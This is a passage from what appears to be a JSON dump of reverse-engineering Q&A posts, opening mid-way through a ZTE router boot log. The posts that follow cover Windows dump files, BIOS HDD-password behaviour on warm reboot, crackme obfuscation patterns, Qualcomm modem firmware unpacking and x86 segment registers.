0000:00:0a.0: [14e4:6300] type 00 class 0x0c0320\npci 0000:00:0a.0: reg 10: [mem 0x1000c300-0x1000c3ff]\nPCI host bridge to bus 0000:01\npci_bus 0000:01: root bus resource [mem 0xa0000000-0xbfffffff]\npci_bus 0000:01: root bus resource [??? 0x00000000 flags 0x0]\npci 0000:01:00.0: [14e4:6338] type 01 class 0x060400\npci 0000:01:00.0: PME# supported from D0 D3hot\npci 0000:02:00.0: [14e4:a8db] type 00 class 0x028000\npci 0000:02:00.0: reg 10: [mem 0x00000000-0x00007fff 64bit]\npci 0000:02:00.0: supports D1 D2\npci 0000:01:00.0: BAR 8: assigned [mem 0xa0000000-0xa00fffff]\npci 0000:02:00.0: BAR 0: assigned [mem 0xa0000000-0xa0007fff 64bit]\npci 0000:01:00.0: PCI bridge to [bus 02-02]\npci 0000:01:00.0:   bridge window [mem 0xa0000000-0xa00fffff]\nPCI: Enabling device 0000:01:00.0 (0000 -> 0002)\nbcmhs_spi bcmhs_spi.1: master is unqueued, this is deprecated\nskbFreeTask created successfully\nNET: Registered protocol family 8\nNET: Registered protocol family 20\n1192:57:47 [Kern][Info] [qos.c(5055)CSPKernel_QoS_I] Qos module init\nSwitching to clocksource MIPS\nNET: Registered protocol family 2\nIP route cache hash table entries: 1024 (order: 0, 4096 bytes)\nTCP established hash table entries: 4096 (order: 3, 32768 bytes)\nTCP bind hash table entries: 4096 (order: 3, 32768 bytes)\nTCP: Hash tables configured (established 4096 bind 4096)\nTCP: reno registered\nUDP hash table entries: 128 (order: 0, 4096 bytes)\nUDP-Lite hash table entries: 128 (order: 0, 4096 bytes)\nNET: Registered protocol family 1\nPCI: CLS 16 bytes, default 16\ninit_bcm_tstamp: unhandled mips_hpt_freq=300000000, adjust constants in bcm_tstamp.c\nbcm_tstamp initialized, (hpt_freq=300000000 2us_div=300 2ns_mult=0 2ns_shift=0)\njffs2: version 2.2. (NAND) \u00a9 2001-2006 Red Hat, Inc.\nmsgmni has been set to 238\nio scheduler noop registered (default)\nbrd: module loaded\nloop: module loaded\nSPI NAND Device Linux Registration\nSPI NAND Linux Registration\nSPI NAND device reset\nFound SPI NAND device Winbond W25N01GV\nSPI NAND device Winbond W25N01GV\n   device id    = 0xefaa\n   page size    = 0x800\n   block size   = 0x20000\n   total blocks = 0x400\n   total size   = 0x8000000\nNAND device: Manufacturer ID: 0xef, Chip ID: 0xaa (Winbond NAND 128MiB 1,8V 8-bit)\nNAND_ECC_NONE selected by board driver. This is not recommended!\nCreating 10 MTD partitions on \"Winbond W25N01GV\":\n0x000000000000-0x000000220000 : \"boot\"\n0x000000220000-0x000000320000 : \"tag\"\n0x000000320000-0x0000004a0000 : \"userconfig\"\n0x0000004a0000-0x000000620000 : \"backconfig\"\n0x000000620000-0x0000007a0000 : \"defconfig\"\n0x0000007a0000-0x000000920000 : \"log\"\n0x000000920000-0x000000aa0000 : \"env\"\n0x000000f00000-0x000002400000 : \"rootfs1\"\n0x000002400000-0x000003900000 : \"rootfs2\"\n0x0000010a0000-0x000002020000 : \"filesystem\"\nbrcmboard: brcm_board_init entry\nFailed to create a netlink socket for monitor\nDYING GASP IRQ initialized \nSerial: BCM63XX driver $Revision: 3.00 $\nMagic SysRq with Auxilliary trigger char enabled (type ^ h for list of supported commands)\nttyS0 at MMIO 0xb0000280 (irq = 8) is a BCM63XX\nttyS1 at MMIO 0xb00002a0 (irq = 9) is a BCM63XX\nTotal # RxBds=5154\nbcmPktDmaBds_init: Broadcom Packet DMA BDs initialized\n\nBPM: tot_mem_size=134217728B (128MB), buf_mem_size <15%> =20132655B (19MB), num of buffers=9679, buf size=2080\nBroadcom BPM Module Char Driver v0.1 Mar 19 2018 17:37:47 Registered<244>\nInfo:zte_watchdog_init, errorEPC = 0f7e7716\npktgen: Packet Generator for packet performance testing. Version: 2.74\nNetfilter messages via NETLINK v0.30.\nnf_conntrack version 0.5.0 (1909 buckets, 7636 max)\nip_tables: (C) 2000-2006 Netfilter Core Team\nNET: Registered protocol family 10\nip6_tables: (C) 2000-2006 Netfilter Core Team\nIPv6 over IPv4 tunneling driver\nNET: Registered protocol family 17\n1192:57:48 [Kern][Info] [br_com_special_(109)arp_stolen_init] arp_stolen firewalling registered\nBridge firewalling registered\nEbtables v2.0 registered\nL2TP core driver, V2.0\nPPPoL2TP kernel driver, V2.0\nPPP generic driver version 2.4.2\nNET: Registered protocol family 24\n1192:57:48 [Kern][Info] [ver_info_nand.c(457)ver_info_init] ver_info_init\n1192:57:48 [Kern][Notice] [csp_ifinfo.c(219)csp_ifinfo_init] Initializing CSP IFinfo...\n1192:57:48 [Kern][Notice] [sweth_core.c(2760)sweth_init] SW&ETH HAL driver initing!\n1192:57:48 [Kern][Notice] [sweth_core.c(140)CreateSwEthObjs] Create SW & ETH objects\n1192:57:48 [Kern][Notice] [sweth_core.c(156)CreateSwEthObjs] Failed to get SWITCH attr, iRet=-2\n1192:57:48 [Kern][Info] [sweth_core.c(163)CreateSwEthObjs] nEmac = 1, nSw = 0, nEth=4.\n1192:57:48 [Kern][Warn] [sweth_core.c(310)CreateSwEthObjs] Failed to get TAG_PARA_MAC1!\n1192:57:48 [Kern][Info] [sweth_core.c(322)CreateSwEthObjs] ETH obj0: PhyType = 1, Is_assoc_sw = 0, Emac = 0, Phy = 1\n1192:57:48 [Kern][Warn] [sweth_core.c(310)CreateSwEthObjs] Failed to get TAG_PARA_MAC1!\n1192:57:48 [Kern][Info] [sweth_core.c(322)CreateSwEthObjs] ETH obj1: PhyType = 1, Is_assoc_sw = 0, Emac = 0, Phy = 2\n1192:57:48 [Kern][Warn] [sweth_core.c(310)CreateSwEthObjs] Failed to get TAG_PARA_MAC1!\n1192:57:48 [Kern][Info] [sweth_core.c(322)CreateSwEthObjs] ETH obj2: PhyType = 1, Is_assoc_sw = 0, Emac = 0, Phy = 3\n1192:57:48 [Kern][Warn] [sweth_core.c(310)CreateSwEthObjs] Failed to get TAG_PARA_MAC1!\n1192:57:48 [Kern][Info] [sweth_core.c(322)CreateSwEthObjs] ETH obj3: PhyType = 1, Is_assoc_sw = 0, Emac = 0, Phy = 4\nJiffies_test Driver Init Successfully \nlogger: created 1024K log 'logger_main' major '99'\n: success register character device for /dev/monitor\n1192:57:48 [Kern][Notice] [cspmirror.c(1245)mirror_init] ***********mirror_init************\nsystools version:v0.7.0\nerrorEPC = 0f7e7716\n1192:57:48 [Kern][Info] [br_multicast_se(7234)br_mcparam_init] info init!\n1192:57:48 [Kern][Info] [qp_meter_api.c(66)QoSPolicerMeter] Register Meter(stb)\n1192:57:48 [Kern][Info] [qp_meter_api.c(66)QoSPolicerMeter] Register Meter(srtc)\n1192:57:48 [Kern][Info] [qp_meter_api.c(66)QoSPolicerMeter] Register Meter(trtc)\n1192:57:48 [Kern][Info] [qp_meter_api.c(66)QoSPolicerMeter] Register Meter(hard)\n1192:57:48 [Kern][Info] [qp_act_api.c(66)QoSPolicerActRe] Register Action(null)\n1192:57:48 [Kern][Info] [qp_act_api.c(66)QoSPolicerActRe] Register Action(drop)\n1192:57:48 [Kern][Info] [qp_act_api.c(66)QoSPolicerActRe] Register Action(dscp_mark)\n1192:57:48 [Kern][Info] [qp_act_api.c(66)QoSPolicerActRe] Register Action(vlan_prio_mark)\n1192:57:48 [Kern][Info] [qp_act_api.c(66)QoSPolicerActRe] Register Action(dscp_vlan_prio_mark)\nchild_dev_init start\nchild_dev_ioctl_set set[80393d20]\n#######begin FDB_Notify Reg\n#######after FDB_Notify Reg\n#######begin FDB_Notify Reg\nShouldn't be in WHILE\n#######after FDB_Notify Reg\n1192:57:48 [Kern][Error] [ledkey_callback(26)keycallback_ini] Install WPS KEY Callback Failed!\nVFS: Mounted root (jffs2 filesystem) readonly on device 31:9.\nFreeing unused kernel memory: 240k freed\ninit normal mode!!!\n\nLoading drivers and kernel modules... \n\njffs2: notice: (269) check_node_data: wrong data CRC in data node at 0x00161318: read 0x90074d32, calculated 0xe9fe5f3a.\nmkdir: can't create directory '/defcfg/chain1': File exists\nmkdir: can't create directory '/defcfg/chain2': File exists\nchipinfo: module license 'proprietary' taints kernel.\nDisabling lock debugging due to kernel taint\nbrcmchipinfo: brcm_chipinfo_init entry\nbcmxtmrt: Broadcom BCM3381B0 ATM/PTM Network Device v0.6 Mar 19 2018 17:43:20\nbcmxtmcfg: bcmxtmcfg_init entry\nadsl: adsl_init entry\nBroadcom BCM63381B0 Ethernet Network Device v0.1 Mar 19 2018 17:43:02\nETH Init: Ch:0 - 200 tx BDs at 0xa639c000\nETH Init: Ch:0 - 3871 rx BDs at 0xa5d18000\nvport_cnt=4, consolidated_portmap=0xF\ndgasp: kerSysRegisterDyingGaspHandler: bcmsw registered \nvport_id=0x1, logical_port=0x0\nvnet_dev[vport_id=1]=eth0\nETH0-->eth0\neth0: <Int sw port: 0> <Logical : 00> PHY_ID <0x00000001 : 0x01> MAC : 00:D0:D0:00:00:01\nvport_id=0x2, logical_port=0x1\nvnet_dev[vport_id=2]=eth1\nETH1-->eth1\neth1: <Int sw port: 1> <Logical : 01> PHY_ID <0x00000002 : 0x02> MAC : 00:D0:D0:00:00:01\nvport_id=0x3, logical_port=0x2\nvnet_dev[vport_id=3]=eth2\nETH2-->eth2\neth2: <Int sw port: 2> <Logical : 02> PHY_ID <0x00000003 : 0x03> MAC : 00:D0:D0:00:00:01\nvport_id=0x4, logical_port=0x3\nvnet_dev[vport_id=4]=eth3\nETH3-->eth3\neth3: <Int sw port: 3> <Logical : 03> PHY_ID <0x00000004 : 0x04> MAC : 00:D0:D0:00:00:01\nEthernet Auto Power Down and Sleep: Enabled\nEnergy Efficient Ethernet: Enabled\n#######begin FDB_Notify Reg\nShouldn't be in WHILE\nShouldn't be in WHILE\n#######after FDB_Notify Reg\n#######begin FDB_Notify Reg\nShouldn't be in WHILE\nShouldn't be in WHILE\nShouldn't be in WHILE\n#######after FDB_Notify Reg\n1192:58:01 [Kern][Notice] [bcm_emac_adapte(663)Register_bcm_em] Register BCM EMAC driver\n1192:58:01 [Kern][Notice] [sweth_core.c(588)RegisterEmacDrv] Register EMAC driver\n1192:58:01 [Kern][Notice] [sweth_core.c(429)InitSwEthObjs] Initialise SW & ETH objects\n1192:58:01 [Kern][Warn] [sweth_core.c(1762)hal_set_port_ma] Driver do not support set MAC address!\n1192:58:01 [Kern][Warn] [sweth_core.c(1762)hal_set_port_ma] Driver do not support set MAC address!\n1192:58:01 [Kern][Warn] [sweth_core.c(1762)hal_set_port_ma] Driver do not support set MAC address!\n1192:58:01 [Kern][Warn] [sweth_core.c(1762)hal_set_port_ma] Driver do not support set MAC address!\nNComm TMS V6.80 Kernel Module loaded.\nLoading PCM shim driver\n\nEndpoint: endpoint_init entry\nBOS: Enter bosInit \nBOS: Exit bosInit \nfxsnum 2,fx0 num 0 ,dect 0Endpoint: endpoint_init COMPLETED\nBroadcom 802.1Q VLAN Interface, v0.1\nADDRCONF(NETDEV_UP): eth0: link is not ready\ndevice eth0 entered promiscuous mode\nHost MIPS Clock divider pwrsaving is enabled\n/etc/init.norm: line 120: hostname: not found\nsched_setaffinity cpu 0 (ret = 0)\n1192:57:55 [User][Info] [mount_jffs2.c(37)main] mount dev is  /dev/mtdblock2  mount point is /usercfg/\n1192:57:55 [User][Info] [mount_jffs2.c(99)main] mtdInfo: /dev/mtd2 size=1572864, erasesize=131072 bad block count 0 \n1192:57:56 [User][Info] [mount_jffs2.c(161)main] mount dev  /dev/mtdblock2  at dir /usercfg/  success\n1192:57:56 [User][Info] [mount_jffs2.c(37)main] mount dev is  /dev/mtdblock3  mount point is /backcfg/\n1192:57:56 [User][Info] [mount_jffs2.c(99)main] mtdInfo: /dev/mtd3 size=1572864, erasesize=131072 bad block count 0 \n1192:57:56 [User][Info] [mount_jffs2.c(161)main] mount dev  /dev/mtdblock3  at dir /backcfg/  success\n1192:57:56 [User][Info] [mount_jffs2.c(37)main] mount dev is  /dev/mtdblock4  mount point is /defcfg/\n1192:57:56 [User][Info] [mount_jffs2.c(99)main] mtdInfo: /dev/mtd4 size=1572864, erasesize=131072 bad block count 0 \n1192:57:56 [User][Info] [mount_jffs2.c(161)main] mount dev  /dev/mtdblock4  at dir /defcfg/  success\n1192:57:56 [User][Info] [mount_jffs2.c(37)main] mount dev is  /dev/mtdblock5  mount point is /log/\n1192:57:56 [User][Info] [mount_jffs2.c(99)main] mtdInfo: /dev/mtd5 size=1572864, erasesize=131072 bad block count 0 \n1192:57:56 [User][Info] [mount_jffs2.c(161)main] mount dev  /dev/mtdblock5  at dir /log/  success\n1192:57:56 [User][Info] [mount_jffs2.c(37)main] mount dev is  /dev/mtdblock6  mount point is /env/\n1192:57:56 [User][Info] [mount_jffs2.c(99)main] mtdInfo: /dev/mtd6 size=1572864, erasesize=131072 bad block count 0 \n1192:57:56 [User][Info] [mount_jffs2.c(161)main] mount dev  /dev/mtdblock6  at dir /env/  success\n1192:58:04 [User][Warn] [ifconfig.c(957)ifconfig] Ioctl failed!SIOCSIFADDR\n1192:58:04 [OSS][Notice] [pc.c(1907)initPCFd] open /dev/ptyp0 success.\n\n(none) \nPID:  344\n\n1192:58:09 [User][Info] [db_shm_mgr.c(109)DBShmSrvInit] iShmId:32769\n1192:58:09 [User][Info] [db_shm_mgr.c(124)DBShmSrvInit] pShmBuf:60000000\n[log_file.c(1704)ProcLogConf] Set LOG_FILE_CONF_SET_PDTCONF.\n[log_file.c(1768)ProcLogConf] Set cAutoSave = 1\n[log_filesave.c(176)CheckLogConfFile] File not exist: filename(/log/flag_usrfs), Cnt=40\n1192:58:10 [dhcps][Info] [dhcps.c(160)DHCPSInit] module init success!dhcp server\n1192:58:10 [dhcp4c][Warn] [dhcp4c_inst.c(4402)_dhcp4cRegSendO] Send code[60]fun[0x58fbf4] is replaced by fun[0x594d60]\n1192:58:10 [monitor][Info] [cspd_monitor.c(422)MonitorMain] monitor init success\n1192:58:10 [PingTracert_mgr][Info] [tracert_mgr.c(1107)tracertInit] module init success!tracert mgr\n1192:58:10 [ethlinkvlan][Info] [ifs_ethlinkvlan(2313)linkifMain] IfsMain recv event(4352) msgptr((nil)) len(0)\n1192:58:10 [ethlinkvlan][Info] [ifs_ethlinkvlan(2181)linkifAsynmsg] lpMsg == NULL\n1192:58:10 [ppp_mgr][Info] [ppp_mgr.c(6398)PPPInit] module init success!\n1192:58:10 [ipif_mgr][Info] [ifs_ipif.c(2102)ifsIPIFMain] IfsMain recv event(0x1100) msgptr((nil)) len(0)\n1192:58:10 [ipif_mgr][Info] [ipv4_addr_mgr.c(1294)ipv4AddrInit] [ipv4AddrInit] success\n1192:58:10 [ipif_mgr][Info] [ifs_ipif.c(2085)ifsIPIFInit] [ifsIPIFInit] success\n1192:58:10 [ipif_mgr][Info] [ifs_ipif.c(1910)ifsAsynmsg] unknown ASynMsg!msg id = 4352\n1192:58:10 [addr6_mgr][Info] [addr6_mgr.c(3429)Addr6Main] wEvent=0x1100, wMsgType=1, wMsgLen=0, wState=0\n1192:58:10 [prefix_mgr][Info] [prefix_mgr.c(3223)prefixInit] Prefix Init Success!\n1192:58:10 [bridge][Info] [bridge.c(2161)bridgeInit] module init success!(bridge_mgr)\n1192:58:10 [eth_mgr][Info] [eth_mgr.c(1847)ethInit] module init success!ethernet mgr\n1192:58:10 [htat_mgr][Info] [htat_mgr.c(2075)htatInit] module init success!htat_mgr init\n1192:58:10 [dsl_mgr][Info] [dsl_mgr.c(3468)dsl_init] dsl init ok\n1192:58:10 [xtm_mgr][Info] [xtm_mgr.c(4252)xtmInit] [xtmInit] start\n1192:58:10 [xtm_mgr][Info] [xtm_mgr.c(4278)xtmInit] xtm init ok\n1192:58:10 [xtm_mgr][Info] [xtm_mgr.c(4280)xtmInit] xtm support dynamic add/del interface\n1192:58:10 [ptry_mgr][Info] [ptry_mgr.c(478)ptryMgrInit] module init success!(PTry mgr)\n1192:58:10 [route_mgr][Info] [policy_route.c(1646)policyRtTableIn] policyRtTableInit ok\n1192:58:10 [route_mgr][Info] [policy_route.c(1561)defPolicyRtChai] defPolicyRtChainInit ok\n1192:58:10 [route_mgr][Info] [rip_mgr.c(39)RIPInit] Common Info: rip init\n1192:58:10 [route_mgr][Info] [ripng_mgr.c(39)RIPngInit] Common Info: ripng init\n1192:58:10 [route_mgr][Info] [route_mgr.c(802)routeInit] SubScribPublish DefGW Service OK\n1192:58:10 [binding_mgr][Info] [binding_mgr.c(1666)bindingInit] [bindingInit] end\n1192:58:10 [qos_mgr][Info] [qos_default_qdi(2246)RegisterDefault] RegisterDefaultIFQdisc. IF WAN&DEV.BRIDGING.BR1.BRPORT, Qdisc CSPDefSPWRRWFQ\n1192:58:10 [qos_mgr][Info] [interface_api.c(1560)RegisterNetIFNo] RegisterNetIFNotify start, event[6] IF_ID[] WanLan[3] Handle[0x4c42dc]\n1192:58:10 [qos_mgr][Info] [interface_api.c(1603)RegisterNetIFNo] Reg NetIF Notify ok, IF_ID[], WanLan[3], pHandle[0x4c42dc], Event[6]\n1192:58:10 [qos_mgr][Info] [interface_api.c(1560)RegisterNetIFNo] RegisterNetIFNotify start, event[6] IF_ID[DEV.PTM.LINK1] WanLan[3] Handle[0x4c4088]\n1192:58:10 [qos_mgr][Info] [interface_api.c(1573)RegisterNetIFNo] IF_ID Not Null[DEV.PTM.LINK1]\n1192:58:10 [qos_mgr][Info] [interface_api.c(1603)RegisterNetIFNo] Reg NetIF Notify ok, IF_ID[DEV.PTM.LINK1], WanLan[3], pHandle[0x4c4088], Event[6]\n1192:58:10 [sntp_mgr][Info] [time_policy.c(101)TpInit] module init success!3\n1192:58:10 [sntp_mgr][Info] [sntp_mgr.c(1694)sntpInit] module init success!SNTP mgr\n1192:58:10 [ddns_mgr][Info] [ddns_mgr.c(1539)ddnsInit] module init success!ddns_mgr\n1192:58:10 [dns_mgr][Info] [dns_mgr.c(437)dnsInit] SubScribPublish NetIF Service OK\n1192:58:10 [dns_mgr][Info] [comp_dns_mgr.c(76)CompDnsInit] Init Comp_Dns_Mgr Success!\n1192:58:10 [fm_mgr][Info] [fm_mgr.c(2641)fmServerInit] module init success!Enter FmServer Init!\n1192:58:10 [fm_mgr][Info] [fm_mgr.c(4236)fmMgrInit] module init success!fm mgr\n1192:58:10 [tr143_mgr][Info] [tr143_mgr.c(547)tr143Init] module init success!tr143 mgr\n1192:58:10 [ipv6_tunl_mgr][Info] [ipv6_tunl_mgr.c(416)IPv6TunlMgrMain] wEvent=0x1100, wMsgType=1, wMsgLen=0, wState=0\n1192:58:10 [ipv6_tunl_mgr][Info] [tunl46_mgr.c(1851)TunnelMain] wEvent=0x1100, wMsgType=1, wMsgLen=0, wState=0\n1192:58:10 [ipv6_tunl_mgr][Info] [tunl46_mgr.c(1617)TunnelMgrInit] [TunnelMgrInit] start\n1192:58:10 [ipv6_tunl_mgr][Info] [tunl46_mgr.c(1622)TunnelMgrInit] [TunnelMgrInit] OK\n1192:58:10 [ipv6_tunl_mgr][Info] [tunl64_mgr.c(1826)Tunl64Main] wEvent=0x1100, wMsgType=1, wMsgLen=0, wState=0\n1192:58:10 [fon_mgr][Info] [fon_mgr.c(3915)FonMain] wEvent=0x1100, wMsgType=1, wMsgLen=0, wState=0\n1192:58:10 [ipif_mgr][Info] [ifs_netif.c(2579)interfaceNotify] [interfaceNotifyHook] start, to pid[10103]\n1192:58:10 [ipif_mgr][Info] [ifs_netif.c(2579)interfaceNotify] [interfaceNotifyHook] start, to pid[10103]\n1192:58:10 [DB][Error] [dbc_mgr_tbl.c(494)dbCreateDomainN] create table fail (ParentControlUser) domain(FilterMode) error default value\n1192:58:10 [DB][Info] [dbc_tbl_wol_inf(18)dbCreateWolInfo] call dbCreateWolInfoTbl\n1192:58:10 [DB][Error] [dbc_def_dev_inf(176)setVerNumFromFi] /etc/ver_num_des file open error!\n1192:58:10 [DB][Warn] [dbc_mgr_tbl.c(1662)dbSetValComm] not find domain table(WLANBase) domain(AutoChannelFrom)\n1192:58:10 [DB][Warn] [dbc_mgr_tbl.c(1662)dbSetValComm] not find domain table(WLANBase) domain(AutoChannelTo)\n1192:58:10 [DB][Error] [dbc_mgr_def.c(79)dbMgrStaticSetI] not find table (PDTWLANWAPI)\n1192:58:10 [DB][Info] [dbc_def_wol_inf(22)dbDefWolInfo] call dbDefWolInfo\n1192:58:10 [DB][Info] [dbc_init_pdt_in(2485)dbCheckSingleCf] DB Decry cfg end (iRet: 0)\n1192:58:10 [DB][Warn] [dbc_mgr_file_xm(1688)_dbXMLTblChk] load database failed table(L2BAvailIF) cut or exceed max row or unequal row.\n1192:58:10 [DB][Warn] [dbc_mgr_file_xm(1688)_dbXMLTblChk] load database failed table(BrFilter) cut or exceed max row or unequal row.\n1192:58:11 [DB][Info] [dbc_person_teln(66)dbPersonInitTel] set password\n1192:58:11 [DB][Info] [dbc_mgr_file.c(1250)dbFileLoadCfg] find file /var/tmp/db_Decry_cfg.xml\n1192:58:15 [DB][Info] [dbc_mgr_file.c(2290)dbInitSignVal] szCfgSignVal= Speedport Entry 2i,iRet:0\n1192:58:15 [DB][Info] [dbc_init_pdt_in(1636)_PdtDBTransferC] [_PdtDBTransferCfg] dwFlagVerNum=12, dwFlagVerNumExt=5\n1192:58:15 [DB][Info] [dbc_core.c(1249)dbEndTm] (ALL) end, use 455 tick\n1192:58:15 [OSS][Warn] [oss_sche.c(868)RunProcess] RunProcess process[DB] Event[0x1100] dwUsedTicks[483]\n----------------------------------------------[log_file.c(1444)ProcLogConf] Set SaveEnable=1\n1192:58:15 [dhcp6s][Info] [ipif_api.c(2190)RegAddr6Notify] RegAddr6Notify start, event[3] IF_ID[] WanLan[2] Handle[0x59cdc8]\n1192:58:15 [PingTracert_mgr][Info] [tracert_mgr.c(1134)tracertStart] module start success!tracert mgr\n1192:58:15 [srm_mgr][Info] [srm_mgr.c(228)SrmInit] module init success!use SRM_DBVIEW data\n1192:58:15 [adev_mgr][Info] [extend_options.(121)CspAddParseOptP] \n
    \n" }, { "Id": "16301", "CreationDate": "2017-09-08T17:56:57.220", "Body": "

    Which program would you success to open a Windows 10 .DMP file.

    \n\n

    I've tried OllyDbg110(32Bit)\nbut this is the result:

    \n\n

    \"error

    \n\n

    Do I have to use a 64bit debugger or am I on a totally wrong route?

    \n", "Title": "Opening Windows 10 DMP file", "Tags": "|windows|debugging|memory-dump|", "Answer": "

    As stated in this RE answer OllyDbg can't be used directly to analize dumps.

    \n\n

    You should use either WinDbg(this Preview or old version) or VisualStudio. They can load .DMP files directly and allow anlyzing them.

    \n" }, { "Id": "16317", "CreationDate": "2017-09-10T23:37:11.343", "Body": "

    I was reading about BIOS and I saw this:

    \n\n
    \n

    Next, BIOS will begin checking memory at 0000:0472h. This address contains a flag which will tell the BIOS if the system is booting from a cold boot or warm boot.

    \n
    \n\n

    As you can see, it tells that the BIOS has 2 types to check the booting process. It says when the BIOS finds a warm boot (value 1234h) it will skip the POST routines remaining, however if the BIOS finds a cold boot, the remaining POST routines will be run.

    \n\n

    Now, supposing that I have a password in the startup (user password set in the BIOS) of the system and a hard disk.

    \n\n

    When I power up the computer, this means that the BIOS will read for a cold boot and will run the remaining POST routines, and of course will ask for the user's and hard disk's password. But when I reboot the system from the operating system (in this case, a Linux distribution), why doesn't the BIOS requests for the hard disk's password? Does this means that the BIOS is reading now a warm boot?

    \n", "Title": "Why BIOS is not asking for HDD password on reboot but only after power off?", "Tags": "|bios|", "Answer": "

    Your quote is about the old legacy BIOS (16-bit). Nowadays most BIOSes implement UEFI-compliant firmware, which works in a pretty different way. The Opal specification published by TCG, describes how the UEFI firmware interacts with self-encrypting harddrives.\nHowever, it seems your scenario is not really BIOS-related. According to ArchLinux wiki on the topic :

    \n\n
    \n

    Typical self-encrypting drives, once unlocked, will remain unlocked\n as long as power is provided. This vulnerability can be exploited by\n means of altering the environment external to the drive, without\n cutting power, in effect keeping the drive in an unlocked state. For\n example, it has been shown (by researchers at Universiy of\n Erlangen-Nuremberg) that it is possible to reboot the computer into an\n attacker-controlled operating system without cutting power to the\n drive. The researchers have also demonstrated moving the drive to\n another computer without cutting power

    \n
    \n\n

    So it's probably the drive itself, and not the BIOS/firmware, which is caching the password on warm reboot.

    \n\n

    Other references:

    \n\n\n" }, { "Id": "16322", "CreationDate": "2017-09-11T18:18:54.797", "Body": "

    I am currently analysing some crackme with Olly and IDA. Initially it was packed. I managed to find the OEP (a JMP soon after POPAD and right before a bunch of nulls):

    \n\n
    0040E978    .  53                    PUSH    EBX\n0040E979    .  57                    PUSH    EDI\n0040E97A    .  FFD5                  CALL    NEAR EBP\n0040E97C    .  58                    POP     EAX\n0040E97D    .  61                    POPAD\n0040E97E    .  8D4424 80             LEA     EAX, DWORD PTR SS:[ESP-80]\n0040E982    >  6A 00                 PUSH    0\n0040E984    .  39C4                  CMP     ESP, EAX\n0040E986    .^ 75 FA                 JNZ     SHORT crackme_.0040E982\n0040E988    .  83EC 80               SUB     ESP, -80\n0040E98B    .- E9 7062FFFF           JMP     crackme_.00404C00\n0040E990       00                    DB      00\n0040E991       00                    DB      00\n0040E992       00                    DB      00\n
    \n\n

    But I might have done something incorrectly or, may be, it's some sort of obfuscation technique, cause the unpacked program is full of something like that:

    \n\n
                    lea     ecx, ds:2186C225h ; Load Effective Address\nUPX0:00403042   mov     ebx, 0C11A8EBBh\nUPX0:00403047   lea     ebx, [ebx-6CFE17B8h] ; Load Effective Address\nUPX0:0040304D   add     ecx, ecx        ; Add\nUPX0:0040304F   lea     ebx, [eax-68FB1E76h] ; Load Effective Address\nUPX0:00403055   sub     ecx, eax        ; Integer Subtraction\nUPX0:00403057   lea     eax, [ebp-6Ch]  ; Load Effective Address\nUPX0:0040305A   push    eax\nUPX0:0040305B   call    $+5             ; Call Procedure\nUPX0:0040305B   \nUPX0:00403060   pop     eax\nUPX0:00403061   add     eax, 0Ah        ; Add\nUPX0:00403064   push    eax\nUPX0:00403065   jmp     loc_408EF0      ; Jump\n
    \n\n

    What confuses me most (other than UPX prefix, although it seems to be unpacked), are instructions like these:

    \n\n
    UPX0:00403047   lea     ebx, [ebx-6CFE17B8h] ; Load Effective Address   \nUPX0:0040304F   lea     ebx, [eax-68FB1E76h] ; Load Effective Address\n
    \n\n

    Moreover, throughout the code there are lots of call-jumps, that point to the next instruction, rather than somewhere else in the code (which is much more common):

    \n\n
    0040327B     50                      PUSH    EAX\n0040327C     E8 00000000             CALL    crackme2.00403281\n00403281     58                      POP     EAX\n...\n0040321A     50                      PUSH    EAX\n0040321B     8B45 08                 MOV     EAX, DWORD PTR SS:[EBP+8]\n0040321E     50                      PUSH    EAX\n0040321F     E8 00000000             CALL    crackme2.00403224\n00403224     58                      POP     EAX\n
    \n\n

    How common is that?

    \n\n

    I thought, that may be I did the unpacking wrongly, but the program seems to work properly. My next though was that it might be self-modifying, but when I put BP on GetWindowTextA, where first, last names and serial are loaded, and then go through the code, it doesn't seem to be changing.

    \n\n

    Is it possible, that there are addresses like this?:

    \n\n
    lea     ecx, ds:2186C225h ; Load Effective Address\n...\nlea     ebx, [eax-68FB1E76h] ; Load Effective Address\n
    \n\n

    Or may be there is something wrong with the OllyDbg's interpretation of the code?

    \n\n

    Thank you in advance!

    \n", "Title": "Weird looking assembly-code bunch", "Tags": "|ida|disassembly|assembly|ollydbg|crackme|", "Answer": "

    If you follow the flow, you will see that the result of the first \"lea ebx, []\" is replaced by the result of the \"lea ebx, []\", with no intervening use of ebx. While they can serve a meaningful purpose (consider position-independent code), that's not their use here. These are garbage instructions that exist only to confuse someone looking at the disassembly.

    \n\n

    As far as the call to the next instruction, the call saves on the stack the pointer to the return address, so popping that value into a register will allow the code to know its location in memory. That can be for the purpose of position-independent code, or just a way to avoid using constants to make the disassembly more difficult.

    \n" }, { "Id": "16330", "CreationDate": "2017-09-12T17:28:06.433", "Body": "

    Im trying to disassemble a qualcomm QDSP6 modem file. According to the ELF header, there should be 26 sections(modem.b00-b25). However after dumping the device, b.16,b.17,b.25 are missing, making the file impossible to open with IDA.

    \n\n

    The device is an Alcatel 4060-A. I have full access to the phone's emmc via usb download mode, also tried dumping the same modem partition via ADB. Same result, the partition is missing those 3 sections. Even reading the raw unpacked file in a hex editor, there is no mention of those 3 elf sections

    \n\n

    Any suggestions?

    \n", "Title": "Need help disassembling Qualcomm QDSP6", "Tags": "|ida|disassembly|", "Answer": "

    for decompressing RO or RW sections,\nI recommend using the utilities from the sources.\nq6zip_ro_uncompress.py or rw_decompress_file.py

    \n\n

    universal method of unpacking - doesn't exist,\neven on one chipset, the algorithm, like add q6zip, or RO dictionary size can change.\nso, better has the same version of sources.

    \n\n

    I can't give a more accurate answer,\nbecause while I was olny decompress the few RO section,\nRW - unpacked with errors.

    \n\n

    unpack is better on Linux. and sources need recompile.

    \n\n

    I also recommend trying to swith the device into download mode, and just dump the memory. although I'm not sure that there will be all the unpacked blocks, but worth a try.

    \n\n

    I now have a similar problem with MDM9230, TCL(alcatel) Y900NB, I don't even know what version of dlpager is used (( and I can't unpack it too.\n(i haven't HW, I just work with SW)

    \n\n

    in principle, all the above just flooding, I only want to ask Willem Hengeveld, maybe he will tell something more, but need rep 50 for comment, so need answer ))

    \n" }, { "Id": "16336", "CreationDate": "2017-09-13T19:51:03.753", "Body": "

    As far as I know those segments are extra or general. But at which part of program memory they are actually pointing? If I undestand it correctly DS is poining at entry point of Dump, SS stands for Stack, what is happening with those leftovers from Intel conception.\n\"Registers\"

    \n\n

    Those are my registers using Ollydbg, how can I predict what will be moved into EAX?

    \n\n
    MOV EAX, DWORD PTR FS:[0]\n
    \n", "Title": "Where ES/GS/FS are pointing to?", "Tags": "|windows|assembly|ollydbg|x86|", "Answer": "

